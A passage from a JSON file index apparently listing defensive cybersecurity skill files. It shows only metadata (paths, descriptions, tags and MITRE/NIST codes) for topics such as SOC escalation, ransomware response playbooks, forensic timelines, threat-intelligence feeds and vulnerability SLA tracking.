available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-role-mining-for-rbac-optimization%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":633,"sizeBytes":3002},{"name":"SKILL.md","path":"skills/building-role-mining-for-rbac-optimization/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-role-mining-for-rbac-optimization/SKILL.md","title":"building-role-mining-for-rbac-optimization","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-role-mining-for-rbac-optimization%2FSKILL.md -->","frontmatter":{"name":"building-role-mining-for-rbac-optimization","description":"Apply bottom-up and top-down role mining techniques, including clustering algorithms and formal concept analysis, to discover optimal RBAC roles from existing user-permission assignments, consolidating overlapping roles and enforcing least privilege. Use when an identity program needs to reduce role explosion or redesign its RBAC role set from access data.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["rbac","role-mining","identity-governance","access-control","least-privilege","clustering"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1098","T1069"]},"isInternal":false,"tokens":2216,"sizeBytes":10323},{"name":"template.md","path":"skills/building-soc-escalation-matrix/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-soc-escalation-matrix/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-escalation-matrix%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":317,"sizeBytes":965},{"name":"api-reference.md","path":"skills/building-soc-escalation-matrix/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-soc-escalation-matrix/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-escalation-matrix%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":531,"sizeBytes":1872},{"name":"standards.md","path":"skills/building-soc-escalation-matrix/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-soc-escalation-matrix/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-escalation-matrix%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":282,"sizeBytes":1098},{"name":"workflows.md","path":"skills/building-soc-escalation-matrix/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-soc-escalation-matrix/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-escalation-matrix%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":277,"sizeBytes":901},{"name":"SKILL.md","path":"skills/building-soc-escalation-matrix/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-soc-escalation-matrix/SKILL.md","title":"building-soc-escalation-matrix","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-escalation-matrix%2FSKILL.md -->","frontmatter":{"name":"building-soc-escalation-matrix","description":"Build a structured SOC escalation matrix defining severity tiers, response SLAs, tiered escalation paths, and notification procedures for security incidents, using context-driven criteria that combine business risk, asset criticality, and data sensitivity. Use when designing or revising how a SOC triages and escalates incidents across analyst tiers.","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","escalation","incident-management","severity","sla","triage","tiered-soc"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1071","T1041"]},"isInternal":false,"tokens":1715,"sizeBytes":7316},{"name":"api-reference.md","path":"skills/building-soc-metrics-and-kpi-tracking/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-soc-metrics-and-kpi-tracking/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-metrics-and-kpi-tracking%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":596,"sizeBytes":2469},{"name":"SKILL.md","path":"skills/building-soc-metrics-and-kpi-tracking/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-soc-metrics-and-kpi-tracking/SKILL.md","title":"building-soc-metrics-and-kpi-tracking","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-metrics-and-kpi-tracking%2FSKILL.md -->","frontmatter":{"name":"building-soc-metrics-and-kpi-tracking","description":"Builds SOC performance metrics and KPI tracking dashboards measuring Mean Time to Detect (MTTD), Mean Time to Respond (MTTR), alert quality ratios, analyst productivity, and detection coverage using SIEM data. Use when SOC leadership needs operational visibility, continuous improvement tracking, or executive-level reporting on security operations effectiveness.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","metrics","kpi","mttd","mttr","dashboard","reporting","continuous-improvement"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1071"]},"isInternal":false,"tokens":3160,"sizeBytes":11631},{"name":"api-reference.md","path":"skills/building-soc-playbook-for-ransomware/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-soc-playbook-for-ransomware/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-playbook-for-ransomware%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":550,"sizeBytes":2219},{"name":"SKILL.md","path":"skills/building-soc-playbook-for-ransomware/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-soc-playbook-for-ransomware/SKILL.md","title":"building-soc-playbook-for-ransomware","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-playbook-for-ransomware%2FSKILL.md -->","frontmatter":{"name":"building-soc-playbook-for-ransomware","description":"Builds a structured SOC incident response playbook for ransomware attacks covering detection, containment, eradication, and recovery phases with specific SIEM queries, isolation procedures, and decision trees. Use when SOC teams need formalized response procedures for ransomware incidents aligned to NIST SP 800-61 and MITRE ATT&CK ransomware techniques.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","ransomware","incident-response","playbook","nist","mitre-attack","containment"],"mitre_attack":["T1486","T1490","T1489","T1566","T1059.001"],"mitre_f3":{"version":"1.1","tactics":["initial-access","monetization"],"techniques":[{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1110","name":"Brute Force","tactic":"initial-access","source":"attack"},{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1047","name":"Transfer of funds","tactic":"monetization","source":"f3"}]},"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Platform Hardening","Restore Object","Restore Configuration","Restore Software","Software Update"],"nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"]},"isInternal":false,"tokens":2961,"sizeBytes":11929},{"name":"api-reference.md","path":"skills/building-super-timelines-with-plaso/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-super-timelines-with-plaso/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-super-timelines-with-plaso%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":699,"sizeBytes":2277},{"name":"standards.md","path":"skills/building-super-timelines-with-plaso/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-super-timelines-with-plaso/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-super-timelines-with-plaso%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":243,"sizeBytes":1027},{"name":"SKILL.md","path":"skills/building-super-timelines-with-plaso/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-super-timelines-with-plaso/SKILL.md","title":"building-super-timelines-with-plaso","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-super-timelines-with-plaso%2FSKILL.md -->","frontmatter":{"name":"building-super-timelines-with-plaso","description":"Generate forensic super-timelines with Plaso's log2timeline.py, pinfo.py, psort.py, and psteal.py CLI tools (fusing file-system MACB, registry, EVTX, browser history, prefetch, LNK, and more), then triage and filter the results in Timesketch. Use when reconstructing the full sequence of events on a compromised or forensically imaged host during a DFIR investigation.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["digital-forensics","plaso","log2timeline","super-timeline","timesketch","dfir","timeline-analysis","incident-response"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03"],"mitre_attack":["T1070"]},"isInternal":false,"tokens":1992,"sizeBytes":7679},{"name":"api-reference.md","path":"skills/building-threat-actor-profile-from-osint/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-actor-profile-from-osint/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-actor-profile-from-osint%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":548,"sizeBytes":1839},{"name":"SKILL.md","path":"skills/building-threat-actor-profile-from-osint/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-actor-profile-from-osint/SKILL.md","title":"building-threat-actor-profile-from-osint","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-actor-profile-from-osint%2FSKILL.md -->","frontmatter":{"name":"building-threat-actor-profile-from-osint","description":"Build threat actor profiles by collecting OSINT from vendor reports, paste sites, dark web forums, social media, and code repos, correlating indicators, mapping adversary infrastructure with tools like Maltego and SpiderFoot, and producing structured dossiers of motivations, capabilities, infrastructure, and TTPs. Use when performing attribution or building an adversary dossier from open-source intelligence.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["osint","threat-actor","threat-actor-profiling","maltego","spiderfoot","attribution","threat-intelligence","reconnaissance"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1589","T1593","T1590"]},"isInternal":false,"tokens":3593,"sizeBytes":15202},{"name":"api-reference.md","path":"skills/building-threat-feed-aggregation-with-misp/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-feed-aggregation-with-misp/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-feed-aggregation-with-misp%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":606,"sizeBytes":2135},{"name":"SKILL.md","path":"skills/building-threat-feed-aggregation-with-misp/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-feed-aggregation-with-misp/SKILL.md","title":"building-threat-feed-aggregation-with-misp","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-feed-aggregation-with-misp%2FSKILL.md -->","frontmatter":{"name":"building-threat-feed-aggregation-with-misp","description":"Deploy MISP via Docker and configure feeds from sources like abuse.ch, AlienVault OTX, and CIRCL to aggregate, correlate, and distribute threat intelligence, including automated feed synchronization and STIX/TAXII-based integration with Splunk, Elasticsearch, and SOAR platforms. Use when standing up centralized IOC management or wiring multi-source threat feeds into a SIEM.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["misp","threat-feed","aggregation","indicator","sharing","correlation","siem-integration","threat-intelligence"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1071","T1105","T1588.001"]},"isInternal":false,"tokens":3001,"sizeBytes":12728},{"name":"template.md","path":"skills/building-threat-hunt-hypothesis-framework/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-hunt-hypothesis-framework/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-hunt-hypothesis-framework%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":729,"sizeBytes":2664},{"name":"api-reference.md","path":"skills/building-threat-hunt-hypothesis-framework/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-hunt-hypothesis-framework/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-hunt-hypothesis-framework%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":556,"sizeBytes":2199},{"name":"standards.md","path":"skills/building-threat-hunt-hypothesis-framework/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-hunt-hypothesis-framework/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-hunt-hypothesis-framework%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":426,"sizeBytes":1629},{"name":"workflows.md","path":"skills/building-threat-hunt-hypothesis-framework/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-hunt-hypothesis-framework/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-hunt-hypothesis-framework%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":668,"sizeBytes":3158},{"name":"SKILL.md","path":"skills/building-threat-hunt-hypothesis-framework/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-hunt-hypothesis-framework/SKILL.md","title":"building-threat-hunt-hypothesis-framework","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-hunt-hypothesis-framework%2FSKILL.md -->","frontmatter":{"name":"building-threat-hunt-hypothesis-framework","description":"Build a systematic threat-hunt workflow that turns threat intelligence and ATT&CK gap analysis into testable hypotheses, then executes and validates them via EDR/SIEM queries (CrowdStrike, Defender, Splunk, Elastic, Sysmon, Velociraptor, Sigma) and documents findings in a standardized hunt report. Use when planning or running a proactive threat hunt or scoping compromise from an intel- or anomaly-driven lead.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","methodology","hypothesis","threat-intelligence","hunting-framework","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1071","T1059.001","T1055","T1547"]},"isInternal":false,"tokens":810,"sizeBytes":3571},{"name":"template.md","path":"skills/building-threat-intelligence-enrichment-in-splunk/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-intelligence-enrichment-in-splunk/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-enrichment-in-splunk%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":367,"sizeBytes":1333},{"name":"api-reference.md","path":"skills/building-threat-intelligence-enrichment-in-splunk/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-intelligence-enrichment-in-splunk/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-enrichment-in-splunk%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":582,"sizeBytes":2008},{"name":"standards.md","path":"skills/building-threat-intelligence-enrichment-in-splunk/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-intelligence-enrichment-in-splunk/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-enrichment-in-splunk%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":360,"sizeBytes":1416},{"name":"workflows.md","path":"skills/building-threat-intelligence-enrichment-in-splunk/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-intelligence-enrichment-in-splunk/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-enrichment-in-splunk%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":448,"sizeBytes":1714},{"name":"SKILL.md","path":"skills/building-threat-intelligence-enrichment-in-splunk/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-intelligence-enrichment-in-splunk/SKILL.md","title":"building-threat-intelligence-enrichment-in-splunk","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-enrichment-in-splunk%2FSKILL.md -->","frontmatter":{"name":"building-threat-intelligence-enrichment-in-splunk","description":"Build automated IOC enrichment pipelines in Splunk Enterprise Security by ingesting threat feeds into KV Store collections and correlating them against security events via lookup tables, modular inputs, and the Threat Intelligence Framework. Use when wiring threat intel into Splunk correlation searches to flag IOC matches and cut SOC triage time.","domain":"cybersecurity","subdomain":"soc-operations","tags":["splunk","threat-intelligence","enrichment","ioc","lookup","siem","soc","enterprise-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1071","T1105","T1041"]},"isInternal":false,"tokens":2531,"sizeBytes":10802},{"name":"api-reference.md","path":"skills/building-threat-intelligence-feed-integration/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-intelligence-feed-integration/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-feed-integration%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":575,"sizeBytes":2187},{"name":"SKILL.md","path":"skills/building-threat-intelligence-feed-integration/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-intelligence-feed-integration/SKILL.md","title":"building-threat-intelligence-feed-integration","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-feed-integration%2FSKILL.md -->","frontmatter":{"name":"building-threat-intelligence-feed-integration","description":"Builds automated threat intelligence feed integration pipelines connecting STIX/TAXII feeds, open-source threat intel, and commercial TI platforms into SIEM and security tools for real-time IOC matching and alerting. Use when SOC teams need to operationalize threat intelligence by automating feed ingestion, normalization, scoring, and distribution to detection systems.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","threat-intelligence","stix","taxii","misp","feeds","ioc","siem-integration"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1071","T1105","T1588.001"]},"isInternal":false,"tokens":2968,"sizeBytes":11441},{"name":"template.md","path":"skills/building-threat-intelligence-platform/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-intelligence-platform/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-platform%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":249,"sizeBytes":987},{"name":"api-reference.md","path":"skills/building-threat-intelligence-platform/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-intelligence-platform/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-platform%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":692,"sizeBytes":1930},{"name":"standards.md","path":"skills/building-threat-intelligence-platform/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-intelligence-platform/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-platform%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":297,"sizeBytes":1183},{"name":"workflows.md","path":"skills/building-threat-intelligence-platform/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-intelligence-platform/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-platform%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":235,"sizeBytes":1486},{"name":"SKILL.md","path":"skills/building-threat-intelligence-platform/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-threat-intelligence-platform/SKILL.md","title":"building-threat-intelligence-platform","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-platform%2FSKILL.md -->","frontmatter":{"name":"building-threat-intelligence-platform","description":"Design and deploy a Threat Intelligence Platform (TIP) by integrating open-source CTI tools (MISP, OpenCTI, TheHive, Cortex) into a unified system with feed ingestion pipelines, enrichment workflows, STIX/TAXII interoperability, and analyst dashboards. Use when architecting or standing up a centralized CTI platform to collect, analyze, and disseminate threat intelligence across a security team.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["threat-intelligence","cti","ioc","mitre-attack","stix","platform-building","misp","opencti"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1071","T1588.001","T1591"]},"isInternal":false,"tokens":2540,"sizeBytes":10193},{"name":"template.md","path":"skills/building-vulnerability-aging-and-sla-tracking/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-vulnerability-aging-and-sla-tracking/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-aging-and-sla-tracking%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":447,"sizeBytes":1158},{"name":"api-reference.md","path":"skills/building-vulnerability-aging-and-sla-tracking/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-vulnerability-aging-and-sla-tracking/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-aging-and-sla-tracking%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":428,"sizeBytes":1400},{"name":"standards.md","path":"skills/building-vulnerability-aging-and-sla-tracking/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-vulnerability-aging-and-sla-tracking/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-aging-and-sla-tracking%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":393,"sizeBytes":1379},{"name":"workflows.md","path":"skills/building-vulnerability-aging-and-sla-tracking/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-vulnerability-aging-and-sla-tracking/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-aging-and-sla-tracking%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":352,"sizeBytes":1821},{"name":"SKILL.md","path":"skills/building-vulnerability-aging-and-sla-tracking/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-vulnerability-aging-and-sla-tracking/SKILL.md","title":"building-vulnerability-aging-and-sla-tracking","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-aging-and-sla-tracking%2FSKILL.md -->","frontmatter":{"name":"building-vulnerability-aging-and-sla-tracking","description":"Implement a vulnerability aging dashboard and SLA tracking system that measures time-to-remediation against severity-based deadlines (e.g. 14 days critical, 30 days high, 60 days medium, 90 days low), with automated escalations and compliance metrics reporting. Use when designing SLA policies, building aging/remediation dashboards, or proving compliance with remediation timelines.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["vulnerability-management","sla-tracking","remediation-metrics","aging-report","kpi","compliance","risk-management"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068"]},"isInternal":false,"tokens":2737,"sizeBytes":11075},{"name":"template.md","path":"skills/building-vulnerability-dashboard-with-defectdojo/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-vulnerability-dashboard-with-defectdojo/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-dashboard-with-defectdojo%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":520,"sizeBytes":1878},{"name":"api-reference.md","path":"skills/building-vulnerability-dashboard-with-defectdojo/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-vulnerability-dashboard-with-defectdojo/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-dashboard-with-defectdojo%2Freferences%2Fapi-reference.md 